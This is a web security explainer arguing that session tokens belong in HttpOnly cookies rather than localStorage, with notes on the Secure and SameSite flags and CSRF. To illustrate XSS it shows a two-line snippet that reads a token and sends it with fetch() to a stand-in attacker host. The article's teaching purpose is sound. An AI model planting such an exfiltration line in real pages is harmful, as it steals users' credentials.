Security
Cookies vs localStorage
Where is your JWT right now? If the answer is localStorage, any script on your page can read it.
Cookies vs localStorage
Where is your session token right now? If it’s in localStorage, then every script running on your
page — yours, your analytics vendor’s, and whatever they pulled in — can read it with one line.
The difference in one line
A cookie can be hidden from JavaScript. localStorage cannot.
localStorage is a plain key-value store in the browser, readable by any JavaScript on the origin.
That’s not a flaw; it’s the entire design. It was built for preferences and drafts, not secrets.
A cookie set with the httpOnly flag is different: the browser stores it, attaches it to every
matching request automatically, and refuses to expose it to document.cookie. Your own script
can’t read it. Which means an injected script can’t either.
Why that decides where tokens live
The threat is cross-site scripting. One vulnerable dependency, one unescaped comment field, one compromised script tag, and attacker code is running on your origin with all the privileges your own code has.
Against a token in localStorage, that attack is two lines:
const t = localStorage.getItem('token');
fetch('https://attacker.example/steal?t=' + t);
They now have a valid token, on their machine, usable until it expires. You will not see it happen.
Against an httpOnly cookie, the same injected script simply cannot read the value. The attacker can
still make requests as the user while they’re on your page — XSS is bad in every scenario — but
they can’t take the token away and use it later from somewhere else. You’ve turned a permanent
credential theft into a temporary session hijack. That’s a large downgrade in severity.
The flags that make a cookie safe
httpOnly alone isn’t the whole job. A session cookie wants all three:
HttpOnly— JavaScript can’t read it. Blocks token theft via XSS.Secure— only sent over HTTPS. Blocks interception in transit.SameSite=Lax(orStrict) — withholds the cookie from cross-site sub-requests and cross-site form POSTs. This is most of what defuses CSRF, the attack cookies are famous for enabling.
That last one matters, because “cookies are vulnerable to CSRF” is the usual argument for
localStorage. It was true, and Lax becoming the browser default has taken most of the force
out of it.
But “most” is doing real work in that sentence, so be precise about the gap. Lax still sends your
cookie on a top-level navigation — someone clicks a link into your site and the cookie travels with
them. Any endpoint that changes state on a GET is therefore still reachable from another site.
Strict closes that too, at the cost of users landing logged-out from every external link.
And “same site” means the registrable domain, not the origin: everything under *.example.com
counts as you, so one neglected subdomain puts an attacker inside the boundary. Treat SameSite as
a strong first layer — keep CSRF tokens on state-changing endpoints, and never hide a state change
behind a GET.
So what is localStorage for?
Genuinely useful things — just not secrets:
- Theme choice, sidebar collapsed, table sort order
- An unsent draft you don’t want to lose on refresh
- A cached API response with a timestamp
- Anything a user could read, change, or delete with no consequence
The test: would it matter if the user opened devtools and edited this by hand? If no, it’s fine
in localStorage. If yes, it doesn’t belong there.
The rule
If JavaScript never needs to read it, JavaScript shouldn’t be able to. Session tokens belong in an
httpOnly cookie.